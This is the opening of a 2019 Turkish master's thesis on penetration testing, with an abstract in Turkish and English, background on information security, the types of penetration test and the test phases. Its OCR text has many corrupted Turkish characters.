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POPULER iSLETIM SiSTEMLERI VE WEB UYGULAMALARINDA
PENETRASYON TESTLERININ DEGERLENDIRILMESi

Hande CAVSI
Bilgisayar Miihendisligi, Yiiksek Lisans Tezi, 2019
Tez Danismani: Dr. Ogr. Uyesi Durmus OZDEMIR

OZET

Son zamanlarda diinyada oldugu gibi iilkemizde de bilgi teknolojilerinin kullanim
yayginlagmakta ve siber giivenligin 6nemi artmaktadir. Bilgi teknolojileri kullaniciya cesitli
faydalar saglayan karmasik yapilara sahip yazilimlar sunmakta ve yapisi geregi gilivenlik
aciklara da sebep olmaktadir. Bu durum ¢esitli kurum ve kuruluslari, bireysel kullanicilari,
kurumsal web sitelerini ve sistemlerini kotii niyetli sahislarin (hacker) saldirilarina acik hale
getirmektedir. Bilgi gilivenligi bu saldirilar1 6nlemek adina dijital ortamda depolanan bilgilerin
giivenligini saglamak icin yapilan tiim caligmalar1 kapsamaktadir. Bu c¢alismalardan biri de
penetrasyon (sizma) testleridir. Penetrasyon testleri uzman kigiler tarafindan var olan bilgi
sistemi agiklarmin kotli niyetli sahislardan Once tespit edilip gerekli onlemlerin alinmasi
hususunda bir rapor hazirlanmast ve ilgili kisilerin  bilgilendirilmesi  seklinde
gerceklestirilmektedir. Ozellikle iilkemizde penetrasyon testi uzmanlari oldukga az sayidadir ve
bu konuda kendilerini gelistirmek isteyen kisilere yonelik yeterli kaynak bulunmamaktadir.
Kurumsal firmalar penetrasyon testlerini giivenlik amaciyla gizli bir sekilde ve yalmizca
penetrasyon testi uzmanlarini c¢alistiran firmalarca gergeklestirmektedir. Bu durum bu konuyu
merak eden ve bu konuda c¢alisma yapmak isteyen arastirmacilarin gercek bir ortamda deneme
ve caligma yapmasina olanak saglamamaktadir. Bu ¢alismada kurumsal bir yapinin IT
sisteminde bulunan Domain Controller’a bagli Windows XP, Windows 7, Windows 10, Kali
Linux, IIS Server, MSSQL Sever gibi igletim sistemleri ve sunucular sanal laboratuvar ortami
olarak kurularak penetrasyon testi asamalar1 uygulamali olarak gergeklestirilmistir. Caligmanin
web uygulamalart kisminda ise, zafiyetli (vulnerability) web sitesi lizerinde penetrasyon testi
asamalar1 uygulanmistir. Ayrica giiniimiizde mobil cihazlarin yayginlagsmasi nedeniyle ortaya
¢ikan kullanici tarafli saldirilara yonelik android emiilatorleri tizerinde uygulamalar yapilmustir.
Bu sayede giiniimiizde yaygin sekilde kullanilmakta olan popular isletim sistemleri ve web

uygulamalarina yonelik zafiyet tespitleri ve zafiyet somiirii islemleri gerceklestirilmistir.



Windows XP, Windows 7, Windows 10, Linux ve Android isletim sistemi mimarileri sunularak
bu isletim sistemleri {izerinde penetrasyon testlerinin anlagilmast ve gerekli giivenlik
Onlemlerinin alinmasi amaciyla giivenlik mekanizmalar1 incelenmistir. Bu ¢alismada kurumsal
bir firmanin penetrasyon testi asamalarinin bir biitiin halinde incelenmesi ve agiklarinin
belirlenmesi asamalarinin uygulamali sekilde sunulmasi hedeflenmistir. Bu sayede penetrasyon
testi ve bilgi gilivenligi alanlarmda arastirma yapmak isteyen sektor calisanlarma ve
aragtirmacilarina kaynak olma niteligi saglanmas1 amaglanmstir.

Anahtar Kelimeler: Bilgi Giivenligi, Penetrasyon (Sizma) Testi, Saldir1 Yontemleri, Siber
Giivenlik, Zafiyet Analizi.
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EVALUATION OF PENETRATION TESTS IN POPULAR OPERATING SYSTEMS
AND WEB APPLICATIONS

Hande CAVSI
Computer Engineering, M.S.Thesis, 2019
Thesis Supervisor: Assist. Prof. Durmus OZDEMIR

SUMMARY

Recently, the use of information technologies has become widespread and importance of cyber
security has increased in our country and as well as in the world. Information technologies offer
a complex structure of software that provides the user with various benefits and because of this
structure cause security vulnerabilities. This situation makes the various institutions and
organizations, individual users, corporate websites and systems vulnerable to attacks by
malicious people (hacker). Information security includes all studies to prevent these attacks and
secure the information stored in digital environment. Penetration testing is one of these studies.
Penetration tests are carried out by experts to identify the information system deficits that are
identified before malicious persons and to prepare a report on taking necessary precautions and
inform the relevant persons. Particularly in our country penetration testing experts are very few
and in this field there are not enough resources for those who want to develop themselves.
Enterprise companies perform penetration tests in a confidential way for security purposes and
only by companies employing penetration testing specialists. This situation does not allow
researchers who want to study this subject and to do research and study in a real environment.
In this study, a simple virtual laboratory environment based on the Domain Controller, which
resembles the IT system of an enterprise, was designed. In this virtual laboratory, there are
operating systems and servers such as Windows XP, Windows 7, Windows 10, Kali Linux, IIS
Server, MSSQL Sever connected to Domain Controller. We have also dealt with a vulnerable
website and three Android Emulator based on Kali Linux 2019. Windows XP, Windows 7,
Windows 10, Linux and Android architectures were introduced and security mechanisms of
these operating systems were exemined in order to understand Penetration tests and take
nessesary security measures. The aim of this study is to contribute to the sector employees and
researchers who want to do research on this subject in accordance with the nature of being a
resource. It is aimed to examine the penetration test phases of an enterprise firm as a whole and
to present to stages of identifying security vulnerabilities and exploitations practically.

Keywords: Information Security, Penetration (Infiltration) Testing, Attack Methods, Cyber
Security, Vulnerability Analysis.
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1. GIRIS

Kuruluslara bilgi saglamak i¢in kullanilan ve hizla gelismekte olan araglarin (bilgisayar,
veri toplama araglari, ag ve iletisim araglari), uygulamalarin ve hizmetlerin tamami bilgi
teknolojilerini olusturmaktadir. Son zamanlarda diinyada oldugu gibi iilkemizde de bu
teknolojilerin yayginligi hizli bir sekilde artmaktadir (Akolas, 2004). Fakat bu teknolojilerin
popiilerligine ragmen gelistirilmesi ve etkin kullanimi konusunda birgok yetersizlik soz

konusudur. Bu yetersizliklerin neden olacag: tehlikeleri minimuma indirgemek amaciyla ¢esitli

onlemlerin alinmasi gerekmektedir (Haigh, 2010).

Bilgi giivenligi dijital ortamda depolanan bilgilerin {igiincii sahislar tarafindan ele
gecirilmesini onlemek, bilgi transferi sirasinda bilginin biitiinliigliniin ve yapisinin bozulmadan
aktarilmasimi saglamak, sistemlere yetkisiz kisilerin erisimlerini engellemek igin verilen
ugraslarin timidir (Sagiroglu, 2011). Bu ugraslardan biri de uzman kisiler tarafindan
gerceklestirilen penetrasyon (sizma) testleridir. Sistemlere saldiran kotii amacl kisilerin saldirt
girisimlerini dnlemek amaciyla onlar gibi diisiinebilen ve hareket edebilen kisilerin sistemleri
kotii amach kisilerden once test etmeleri bilgi glivenligini korumak agisindan 6nemlidir. Bu
testler sonucunda sistemler tam bir denetime tabi tutulur ve test edilen sistem {iizerindeki
olusabilecek hasarlar ve var olan riskler ilgili kisi, kurum veya kuruluglara raporlanir. Yapilan
penetrasyon testleri sonucunda ilgili kurum ve kuruluglarin maddi hasarlara ve itibar kayiplarina

ugramalar biiyiik 6l¢iide engellenmis olur (Yigit ve Akyildiz, 2014).

Bu caligmada penetrasyon testi, penetrasyon testinin asamalari ve penetrasyon testi
araglar1 incelenmistir. Bilgi giivenligi, bilgi giivenligi tarihcesi ve bilgi glivenliginin bilesenleri
sunularak bilgi giivenliginin 6nemi vurgulanmistir. Ayrica popililer isletim sistemlerinden
Windows XP, Windows 7, Windows 10 ve Android igletim sistemlerinin mimarileri ve giivenlik
mekanizmalari ele alinarak bu sistemler {izerinde bulunan popiiler zafiyetler penetrasyon testleri
ile uygulamali olarak somiiriilmiistiir. Ilgili isletim sistemlerinin Domain Controller’a
(Windows Server 2012) bagl olmast ve IIS Server, MSSQL Server gibi sunuculara sahip
olmasi yapilan penetrasyon testi uygulamalarinin konfigiirasyon bazli zafiyetlerinin de
incelenmesiyle gergek bir kurumsal firmanin penetrasyon testlerinin bir simiilasyonu gibi ele
almmasina olanak saglamaktadir. Calisma kapsaminda zafiyetli bir web sitesi ele alinarak
mevcut zafiyetlerin uygulamalarla somiiriilmesi saglanmig ve web sitelerinin daha giivenli

olmasi hususunda Oneriler sunulmustur. Yapilan calisma ile bu konuda arastirma yapmak



isteyen sektor calisanlarina ve arastirmacilara kaynak olma niteligi dogrultusunda katki

saglanmasi amac¢lanmistir.

Bilgi Giivenligi

Bilgi, ¢esitli veri tiirleri olarak temsil edilebilecek (kodlanmis) gergekler veya fikirler ya da
sistem varliklar arasinda iletilebilecek herhangi bir ortamda veya formdaki veri ve talimatlar
olarak tammlanabilmektedir. Bilgi giivenligi ise, bilgi ve bilgi sistemlerinin gizliligini,
biitiinliigiinii ve gegerliligini saglamak amaciyla bilgilerin yetkisiz erisimden, kullanimdan, ifsa
edilmesinden, aksakliktan, degisiklige ugrama veya imha edilmesinden korunmasi adina yapilan
caligsmalarin timidiir. Ko6th niyetli kisilerin dijital verilere erisip kendi ¢ikarlari dogrultusunda
kullanmas1 kurum ve kuruluslar bilyiik maddi hasara ve itibar kaybina ugratmaktadir. Bu tiir
girisimlerin Onlenmesi ve kurum, kurulus ve bireysel sistemlerin korunmasi adina bilgi
giivenligi giiniimiizde énemini koruyan bir kavram olarak varligini siirdiirmektedir (Nieles vd.,

2017).

Bilgi giivenligi tarihcesi

Bilgi giivenliginin kokeni, eski diinyanin uygarliklarindan idare ve savasta hiyerarsik komuta ve
kontrol yapilarinin yiikselisine kadar dayanmaktadir. Literatliirde “bilgisayar giivenligi tarihi”
kavramina yonelik derinlemesine bir arastirma konusu olmasa da bilgisayar korsanlar1 ve 6zgiir
yazilim belirli bir Olgiide arastirilmustir. Bilgisayar gilivenligine duyulan ihtiyacin ortaya
cikmasiyla birlikte bilgi giivenligi ihtiyaci da 6n plana ¢ikarilmistir. Baglangicta bilgi giivenligi
kavramu biiylik oranda fiziksel giivenlik ve basit belge semalarini igermekteyken, zaman iginde
ulusal giivenligi saglama konusundaki artan ihtiya¢c daha karmasik, daha teknolojik ve daha

gelismis bilgisayar giivenlik 6nlemlerinin alinmasina yol agmistir (Leeuw ve Bergstra, 2007).

[k onceleri ekipmanlarin fiziksel olarak galinmasi, sistem iiriinlerine yapilan casusluk olaylari
birincil derecede tehdit unsuruyken, 1960’11 yillarin basinda ortaya ¢ikan belgelenmis giivenlik
problemlerinden ilki bu kategorilerin disinda kalmistir. 1960°l1 yillarin basinda bir sistem
yoneticisi MOTD (Message of The Daily) dosyasi lizerinde calisirken bir bagka sistem
yoneticisi de sifre dosyalarini diizenlemekteydi. Bu esnada yazilimdaki bir aksaklik bu iki
dosyanin karigmasina ve giris sifresi dosyasinin her bir ¢ikt1 iizerine yazdirilmasina sebep oldu.
Bu olayla yazilim giivenliginin saglanmasinin 6nemi de anlagilmis oldu. 1930’larda bilgi
toplama islemi fiziksel yollardan daha ¢ok dijital yollarla saglandi ve bilgisayar bilimcileri ve

matematikeiler bilgiyi eskisinden daha giivenli bir hale getirmek i¢in sifreleme ve sifre ¢ozme



tekniklerini kullanan ilk bilgi sistemi ENIGMA’y1 ortaya ¢ikarmiglardir. Alman miihendisler
tarafindan gelistirilen ENIGMA giivenlik seviyelerini ortaya koyma ve mesaj giivenligini
saglamay1r amaclamaktaydi. ENIGMA’nin Poles tarafindan 1930’larda kirilmasi sonucunda
Amerikanlar ve Ingilizler ikinci Diinya Savasi boyunca bu kirilmay1 yonetebilmek amaciyla

ENIGMA ’nin ¢esitli versiyonlarini gelistirmislerdir (Shimall, 2014).

1932°de ¢ok biiyiik boyutlu ve zor programlama dillerini kullanabilen elektromekanik bilgisayar
olan Z1 bilgisayar1 KonradZuse tarafindan icat edildi. Bu bilgisayar temel olarak bilimsel
hesaplamalar, niifus sayimi, muhasebe, bordro ve envanter problemleri i¢in kullanildi. Bu
zamandan sonra bilgisayar teknolojileri konusunda c¢ok biiyiik gelismeler meydana geldi ve
1942°de digerlerinden farkli olarak hesaplama fonksiyonlarin1 da kullanabilen ilk elektronik
dijital bilgisayar icat edildi. Bu gelismeyi 1946°da temel olarak Amerikan askeri arastirmalari
icin icat edilen ENIAC, 1948’den sonra vakum tiipleri yerine transistorler, 1960’larin sonunda
ise biitlinlesmis devreler takip etmistir. Yapilan gelismeler sonucunda bilgi giivenligi iyice
arttirllmis ve “bir yerden digerine nasil bilgi gonderilebilir?” sorusu giindeme gelmistir ve
sorunun sonucunda 1960’larda bilgisayar aglar1 kavrami ortaya ¢ikmistir. 1960°da Soguk Savag
sonrasinda internetin kurucusu Larry Roberts Birlesik Devletler ordusunun veri gizliliginin
korunmast fizibilitesini incelemis ve sonunda 3 Haziran 1968’de ARPANET programini ortaya
cikarmigtir. Bu donemde popilerliginden kaynakli ARPANET’in koétiiye kullanimi arttt ve
Aralik 1973’te Bob Metcalfe ARPANET ile ilgili temel sorunlari belirleyerek ag tizerinden bilgi
akisin1 daha giivenli hale getirmek icin ethernet protokollerini gelistirdi. 1979°da dosyalar1 ve
bilgisayarlar1 bozan ilk solucan viriisii kesfedildi. 1982 yilinda elc cloner viriisiiniin Apple DOS
isletim sistemine saldirdig: tespit edildi ve 1986°da bu viriis kendisine baglh bilgisayarlara da
yayildi. 1999 yili bilgisayarlarin sanayiler tarafinda gergeklesen kullanimindaki muazzam
gelismeler agisindan ¢igir agan bir yil olarak kabul edildi. Giintimiizde teknolojik gelismelerin
artmas1 beraberinde bilgi giivenligi tehditlerini de arttirmaktadir ve IEEE, ACM veri
tabanlarindan gelen giincel verilere gore bilgi giivenligindeki arastirmalarin bu alandan gelen
tehditlerle basa ¢ikabilmek i¢in biiylik oranda arttirildigi tespit edilmistir (Sughanty ve Maiti,
2014).



Bilgi giivenligi bilesenleri

C.LA. (Confidentiality-Integrity-Availibility/Gizlilik-Biitiinliikk-Erisebilirlik) ana bilgisayarlarin
gelismesinden bu yana giivenlik igin endiistri standardini olusturan sadece bilginin faydasini
tanimlayan Sekil 1.1.’de gosterilen gizlilik, biitiinliik, erisilebilirlik kavramlarindan olusan bir
ticgen belirlemistir. Bu {i¢ kavramin her biri kendi agisindan ¢esitli yorumlar, farkli igerikler
ortaya koymaktadir. 2002’de Don Parker, klasik C.I.A {iggenine alternatif bir model olarak alt1
atomik bilgi elementi olarak adlandirdigi modeli onerdi. Bu alti element gizlilik, sahiplik,

biitiinliik, dogrulama, erisilebilirlik ve faydadir (Singh vd., 2014).

Sekil 1.1. C.I.A iicgeni.

Gizlilik: Gizlilik bilgilerin ve kaynaklarin yalnizca onlar1 gérme hakkina sahip kisiler tarafindan
goriilmesini saglamak iizere gizlenmesidir. Bilgilerin yetkisiz kisilere kars1 gizli tutulmasi bilgi
giivenliginin en yaygin yoniidiir. Bilgiyi gizli tutma ihtiyaci, bilgisayarlarin devlet ve sanayi
gibi hassas alanlarda kullanilmasindan kaynaklanmaktadir. Bir kurulus, bilgilerin gizliligini

tehlikeye atan kotii niyetli eylemlere karst korunmalidir (Alhassan ve Adjei, 2017).

Biitiinliik: Bitinliik verilerin ve kaynaklarin gilivenilirligini temsil etmekte ve genellikle
uygunsuz veya yetkisiz degisiklikleri 6nleme anlaminda ifade edilmektedir. Biitiinliik, veri
biitiinliglini yani bilginin igerigini ve kaynak biitiinliigiinii, veri kaynagimi icermektedir ve

bilgilerin degismeden kalmasi1 anlamina gelmektedir (Chaekiar vd., 2012).

Erisilebilirlik: Erisilebilirlik ihtiya¢ duyuldugunda bilgileri veya kaynaklari kullanabilme
yetenegi anlamina gelmektedir. Bir baska deyisle hi¢ kimsenin veya olayin bilgiye mesru veya
zamaninda erigimi engelleyemediginden emin olmak anlamina gelmektedir. Bir kurulug
tarafindan olusturulan ve saklanan bilgilerin yetkili kullanicilar ve uygulamalar i¢in erisilebilir

olmasi gerekmektedir. Eger bilgi erisilebilir degilse kullanigsizdir. Baz1 durumlarda bilginin



stirekli olarak degistirilmesi gerekmektedir ve bu durum bilginin bilgiye erigim yetkisi olanlara
erisiminin agik olmasi gerektigi anlamina gelmektedir. Bilgi erisilebilirliginin giivenlikle ilgili
durumu, birisinin veriyi kullanilamaz duruma getirerek verilere veya bir hizmete erigimi

reddetmeyi bilingli olarak ayarlayabilmesidir (Nweke, 2017).

Penetrasyon Testi Tipleri

Penetrasyon testi bilgi islem tabanini test etmek i¢cin donanim, yazilim ve insanlardan olusan
eksiksiz, entegre, operasyonel ve giivenilir olan kapsamli bir yontemdir. Penetrasyon testi siireci
kétii veya yanlis sistem konfigiirasyonu, donanim ve yazilim hatalari ve siire¢ veya teknik
onlemlerde operasyonel zayifliklar dahil, olasi tiim gilivenlik agiklari i¢in sistemin aktif olarak
analiz edilmesini icermektedir. Penetrasyon testleri genel olarak kapsam ve organizasyonlarina,
istek ve gerekliliklerine gore gerceklestirilir. Bu kapsam altinda Sekil 1.2.’de gosterildigi gibi

siyah kutu, gri kutu, beyaz kutu olmak iizere ti¢ tip penetrasyon testi vardir (Bacudio vd., 2011).

Penetrasyon Testi Tipleri
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Sekil 1.2. Penetrasyon testi tipleri.

Siyah kutu penetrasyon testleri

Siyah kutu penetrasyon testlerinde testi yapan uzmanin sistem hakkinda herhangi bir bilgisi
yoktur. Siyah kutu penetrasyon testi tipinde penetrasyon testi uzmani hedef sistem ve network
ile ilgili bilgi toplama asamasiyla ilgilenir ve uzman yalnizca beklenen sonucun ne olmasi
gerektigini bilir ama sonuglarin nasil geldigini bilemez, herhangi bir programlama kodunu
incelemez. Siyah kutu test tipi herhangi bir yazilim dilinin bilinmesini zorunlu kilmaz bu

nedenle penetrasyon testi yapan kisinin bu konuda uzman olmasi beklenmez. Penetrasyon



testini yapan kisi sistem ile sistemin sahip oldugu o6zellikler arasindaki celiskileri dogrular ve
testleri genellikle sistemi tasarlayan kisinin bakis agisindan degil kullanicinin bakis agisindan
uygular. Kapsam olarak siyah kutu testinde penetrasyon testlerinin tiim agamalar1 uygulanmaz

ve diger test tiplerine gére uygulanmasi en zor olan penetrasyon testi tipidir (Baloch, 2015).

Gri kutu penetrasyon testleri

Gri kutu penetrasyon testlerinde penetrasyon testini gergeklestiren kisi genellikle bir sistemin
icindeki programlarin detaylar1 hakkinda kismi veya sinirli bilgi sahibidir. Web uygulamalarinin
ag ve sistemlerinin dagitik bir yapiya sahip olmasindan dolay1 kaynak kod veya binary kodlara
ulasmak zordur. Bu nedenle gri kutu testler beyaz kutu testlere kiyasla web uygulamalari
tizerinde penetrasyon testi gergeklestirmek i¢in daha uygundur. Gri kutu penetrasyon testleri
kaynak kodu erisimi veya binary kodlara erisimi temel almak yerine ara yiiz tanimlarini
fonksiyonel 6zellikleri ve uygulama mimarilerini temel alir. Bu durum gri kutu penetrasyon test
tipinde sinirh bilgilerle de bir senaryo hazirlama imkani saglamaktadir. Gri kutu test tipinde
kaynak kod ve binary kodlara erisim saglanmadigindan penetrasyon testi yapan kisi ve yazilim

gelistiriciler arasinda belli bir sinir korunmus olmaktadir (Shivayogimath, 2014).
Beyaz kutu penetrasyon testleri

Beyaz kutu penetrasyon testi tipi, testi yapan kisiye kaynak kodu, isletim sistemi detaylari, ip
adresleri gibi sistemler ve aglar hakkinda detayl bilgi saglamasi agisindan diger penetrasyon
testi tiplerine gore daha kapsamlidir. Beyaz kutu penetrasyon testlerinde, sistem yazilimlar testi
yapan kisi tarafindan seffaf bir sekilde goriilebildiginden bu adi almistir. Beyaz kutu
penetrasyon testleri kaynak kodu inceleyerek, veri akisi ve dongii testlerini kapsamaktadir ve
test silireci entegrasyon, birim ve sistem seviyelerine uygulanabilmektedir. Beyaz kutu
testlerinde ekstra kod satirlart ortadan kaldirilarak, gizli koddaki hatalar ortaya
cikarilabilmektedir. Beyaz kutu penetrasyon testi diger penetrasyon testlerine kiyasla en
kapsamli penetrasyon testi tipi olmasindan, ayrica test siirecinde siireci bilen kisilerin yazilim
dillerine hakim olmasi gerektiginden dolay1 en pahali penetrasyon testi tipidir. Bu test tipinde
gri kutu penetrasyon testlerinin aksine yazilim gelistiriciler ve penetrasyon testini ger¢eklestiren

kisi arasinda higbir sinir yoktur (Khan ve Khan, 2012).



Penetrasyon Testi Asamalari

Penetrasyon testleri Sekil 1.3.’de gosterilen asamalardan meydana gelmektedir. Kesif asamasi
ayak izi, tarama ve numaralandirma, zafiyet analizi asamalarmi icerirken, saldiri asamasi

sOmiirii ve yetki yiikseltme agamalarini icermektedir.

ﬁ Cagt Salir

Sekil 1.3. Penetrasyon testi asamalari.

Planlama asamasi

Planlama asamasi test kapsaminin tanimlandigir ve genellikle penetrasyon testine baslamadan
once yapilmasi gereken tiim aktiviteleri iceren agamadir. Yonetim onaylari, NDA (Gizlilik
Sozlesmesi) gibi belgeler bu asamada imzalanir. Mevcut giivenlik politikalari, endiistri
standartlar1 ve en iyi uygulamalar goéz oniinde bulundurularak testin kapsami ve sizma testi
ekibindeki gorevlendirmeler planlama asamasinda belirlenir. Diizgiin, planl, kontrolli bir
saldin1 gerceklestirebilmek icin dikkate alinmasi gereken bazi faktorler vardir ve bir bilgisayar
korsanma kiyasla penetrasyon testi yapan kisi daha fazla kisitlama altinda hedef sisteme
saldirlar diizenlemektedir. Bu nedenle basarili bir penetrasyon testi planli bir uygulama

gerektirir. Planlama testindeki kisitlamalar agsagidaki gibidir;

Zaman: Bir bilgisayar korsani bir hedef sisteme saldirmak istediginde bunu planlamak igin
yeterli zamana sahipken, penetrasyon testini gerceklestirecek kisiler i¢in planlama zamani
baslangicta belirlenen siire ve organizasyon sirketinin mesai saatlerine bagli olarak kisith

olacaktir.

Yasal Kisitlamalar: Bir bilgisayar korsaninin aksine penetrasyon testi gerceklestiren kigiler
penetrasyon testini yaptigi sistemler {izerinde kotii etkiler birakmaktan kaginir ve bu nedenle
penetrasyon testi uzmani bu iglemi yapmadan Once ilgili organizasyon sirketleri ile izlemesi

gereken ve yapilmast kabul edilebilir veya kabul edilemez adimlar hakkinda bir s6ézlesme



imzalamaktadir. Yani bir organizasyon sirketinin penetrasyon testi yapan kisiye diisiik stire,
bilgi sizdirmasi gibi konular disinda is iizerinde kotii etki yaratacagini diisiindiigii konularda da
uygulayabilecegi cesitli kisitlamalar mevcuttur. Bu faktorlerin  planlama asamasinda

belirlenmesi ve bu faktorlere dikkat edilmesi gerekmektedir (Saindane, 2015).
Kesif asamast

Bilgi toplama asamasi olarak ta kabul edilebilen kesif asamasi penetrasyon testinin gercek
anlamda basladigi asamadir. Kesif asamasini agagidaki gibi kategorilere ayirmak miimkiindiir

(Ami ve Hasan, 2012).

e Ayak izi Asamasi (Footprinting Phase)
e Tarama Ve Numaralandirma Asamasi

e Zafiyet Analizi Asamasi

Ayak izi asamasi

Bu agama hem teknik, hem de teknik olmayan yollarla birlikte ¢esitli araglar kullanilarak hedef
organizasyon ve sistemler hakkinda miimkiin olan en fazla bilgiyi elde etmek i¢in daha ¢ok bilgi
toplamaya odaklanan bir asamadir. Ayak izi asamasi sistem ile ilgili internet, sunucu, domain
gibi bilgileri aragtirmak, veri tabanlarini, kayitlari, e-postalar1 sorgulamak gibi olaylar
icermektedir. Bu asamada sosyal miihendislik saldirilari i¢in kullanilabilecek BT durum
detaylari, sirket e-posta adresleri, cihaz yapilandirmalari, kullanic1 adi ve sifreleri gibi faydal
bilgileri elde etmek miimkiindiir. Bu asamadaki islemlerin ¢ogu kiiclik komut dosyalari
yazilarak otomatiklestirilebilmektedir. Penetrasyon testi uzmanlar1 bu asamadan olabildigince
faydalanmali ve kisa siirede organizasyonla ilgili maksimum bilgiyi elde etmeye ¢aligmalidirlar

(Rani ve Arora, 2018).
Tarama ve numaralandirma asamasi

Tarama ve numaralandirma asamasi genellikle canli sistemleri tanimlamayi, bulunan
acik/filtrelenmis  baglanti noktalarini, bu baglanti noktalarinda ¢alisan hizmetleri,
yonlendirici/glivenlik duvarlarimi eslemeyi, isletim sistemi ayrintilari, ag yolu kesfi gibi
olaylar1 igermektedir. Bu agama pasif bilgi toplama seklinden daha ¢ok olabildigince aktif bilgi
toplama islemini gerceklestirir. Penetrasyon testini gerceklestirecek kigiler bu asamada gerekli

araglar1 c¢ok dikkatli bir bi¢imde kullanmali ve trafigi yogun olan sistemleri devre dist



birakmamalidir. Tarama ve Numaralandirma islemi i¢in kullanilan tiim araclar ve
numaralandirilmig tiim asamalar canli olarak bir senaryoda kullanilmadan 6nce mutlaka test
edilmelidir. Nmap, SuperScan, Hping gibi tarayicilarla agik portlar basarili bir sekilde tespit
edildikten sonra bu portlarin arkasindaki servislerin manuel veya hazir araglar kullanilarak
belirlenmesi gerekmektedir. Penetrasyon testini yapan kisi hedef sistem ve temel igletim sistemi

tizerinde ¢alisan hizmetlerin tam adlarini ve siiriimlerini dogrulamalidir (Naik vd., 2009).

Zafiyet analizi asamasi

Hedef sistemler basarili bir sekilde ve hedef sistem ile ilgili gerekli detaylar toplandiktan sonra
penetrasyon testini yapan kisinin hedef sistemin olasi agiklarini tespit etmeye ¢alistigi asama
zafiyet analizi asamasidir. Bu asamada penetrasyon testini yapan kisi hedef sistemin agiklarini
tespit etmek i¢in otomatiklesmis hazir araglar kullanabilmektedir ve bu araglar en son giivenlik
zafiyetleri ve bu zafiyetlerin detaylarii igeren veri tabanlarina sahiptir. Bu asamada
penetrasyon testini yapan kisi gecersiz girdiler, rastgele diziler vb. saglayarak sistemi test eder
ve sistem c¢iktisinda herhangi bir hata veya istenmeyen bir davranis olup olmadigini kontrol
eder. Bu islemlerin sonucunda penetrasyon testini yapan kisinin tanimlanamayan bir¢ok
giivenlik aciklar1 ile karsilagabilme olasiligi vardir ve bu nedenle manual olarak testler
gergeklestirilmeden sadece otomatik araglarla yapilan zafiyet analizi islemi tam olarak giivenilir
degildir, baz1 giivenlik agiklar1 gozden kacabilmektedir. Yani zafiyet analizleri yalnizca hazir

araclara glivenilerek yapilmamalidir (Creasey, 2017).
Saldirt asamasi

Saldir1 agamasi herhangi bir penetrasyon testindeki en merkezi ve en zor asamadir ve asagidaki

gibi kategorize etmek miimkiindiir;

e SOmiirme Asamast

e Yetki Yikseltme Asamasi

Somiirme asamasi

Bu asamada daha dnce penetrasyon testi yapan kisi tarafindan elde edilen zafiyetler somiiriliir.
Penetrasyon testini yapan kisinin zafiyetleri anlamasi, yazmasi, hazir araglart ve scriptleri
yorumlayabilmesi ig¢in C, Perl, Python veya Ruby gibi betik dilleri bilmesi gerekmektedir.
Herhangi bir zafiyetin somiiriilmesi sistemlerin ¢okmesine neden olabildigi i¢in somiirii islemi

gerceklestirilmeden Once bir test ortaminda denenmelidir. Baz1 kuruluslar 6zellikle kritik
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sistemlerdeki belirli giivenlik aciklarindan yararlanilmasini ister ve bdyle bir senaryoda
penetrasyon testini gerceklestirecek kisi glivenlik zafiyetlerinin kuruluslar tizerindeki etkisi
hakkinda ayrmntili bilgi igeren kanitlar1 saglamalidir. Somiirme islemi gerceklestirilirken hazir
araclarin kullanilmasi zaman kazanilmasini saglar. Bir zafiyet tam olarak somiirtildiikten sonra
tam yetkiye sahip bir kullanicinin bilgilerine ulasilamayabilir ve yetki yiikseltme islemi gerekir.
Bu durum Sekil 1.4.°de goriilecegi iizere saldir1 ve kesif asamalar1 arasindaki geri besleme

dongiisii ile gosterilebilmektedir (Creasey, 2017).
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Sekil 1.4. Saldir1 ve kesif agamalar1 arasindaki besleme dongiisii.

Yetki yiikseltme asamasi

Analizi yapilan zafiyetlerin basarili bir sekilde somiiriilmesinden sonra elde edilen kullanici
seviyesinin tam yetkiye sahip olmamasi durumunda hedef sistem iizerinde daha fazla analiz
yapabilmek i¢in yetki ylikseltme islemi yapilmasi gerekmektedir. Penetrasyon testini yapan kisi
analiz ettigi bir zafiyeti basarili bir sekilde somiirebilmek icin hedef sistemler arasinda doniisiim
(pivoting) islemi gerceklestirmektedir. Doniigiim islemi bir zafiyetin isletme iizerindeki ticari
etkisinin daha saglikli anlagilmasina yardimci olan hedef agdaki sistemlere saldirmak i¢in hedef
sistemin kullanildig1 bir islemdir. Ancak bu tarz doniisim ve yetki yiikseltme iglemleri
gerceklestirilirken penetrasyon testi yapan kisinin ilgili kurulustan izin almasi ve dikkatli olmas1

gerekmektedir (Pokuri vd, 2015).
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Raporlama asamasi

Penetrasyon testi agamalarinin sonuncusu olan raporlama agamasi yapilan tiim islemlerin
dokiimantasyonu niteliginde oldugundan olduk¢a 6nemli bir asamadir. Bu asamanin diger ii¢
asamayla paralel olarak gerceklestirilmesi penetrasyon testi slireci boyunca yapilan her islemin
kayit altina almmasimi daha saglikli  kilar fakat saldin asamasindan sonra da
gerceklestirilebilmektedir. Rapor asamasi, giivenlik agiklarmin hedef kurulusun islerine
etkilerini dogru bir sekilde yansitabilmek icin tiim bulgulari uygun grafikler, rakamlar vb. ile
ayrintilandirilarak hem teknik hem de yonetim o&zellikleri géz oniinde bulundurularak
hazirlanmalidir. Penetrasyon testi raporu igerisinde gerceklestirilen faaliyetler, bulgular ve
almacak oOnlemler hakkinda yoneticiyi bilgilendirecek sekilde agik ve net bir yonetici Ozeti
bulundurmalidir. Bu bulgulara dayanarak alinacak giivenlik Onlemlerinin maliyet analizi
yapilacaktir. Analiz edilen her zafiyetin ayrinti ve dnlemleri raporda mevcut olmalidir. Saldirt
asamasinda gergeklestirilen zafiyet sOmiiriilerinin ekran goriintiileri raporda yer almalidir.
Miisterinin hayal giicline yer birakilmadan kesin ve net bir penetrasyon testi raporunda olmast

gereken maddeler agagidaki gibidir (Pokuri vd., 2015).

e  Yonetici Ozeti

e Detayli Bulgular

e Bulunan Giivenlik Zafiyetlerinin Risk Seviyesi
e Isletme Etkisi

e Oneriler

e Sonug

Penetrasyon testi asamalariin tamami Sekil 1.5.”de gorsellestirilmistir.



Sekil 1.5.

Penetrasyon testi agamalarinin tamamu.
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2. SANAL LABORATUVAR DiZAYNI VE KULLANILAN
ARACLAR

Penetrasyon testi yapilirken penetrasyon testine yonelik bazi araglarin sanal laboratuvar
tizerinde kullanimi test siireglerinde zaman kazandirmaktadir. Bu boliimde ¢aligma esnasinda
kurulan sanal laboratuvar ortami ve penetrasyon testi isleminde kullanilan araglar sunulmustur.
Calisma kapsaminda Vmware Workstation araci kullanilarak saldirgan cihaz olarak Kali Linux
Araci kurulmustur. Hedef sistem olarak Windows isletim sistemleri {izerinde penetrasyon
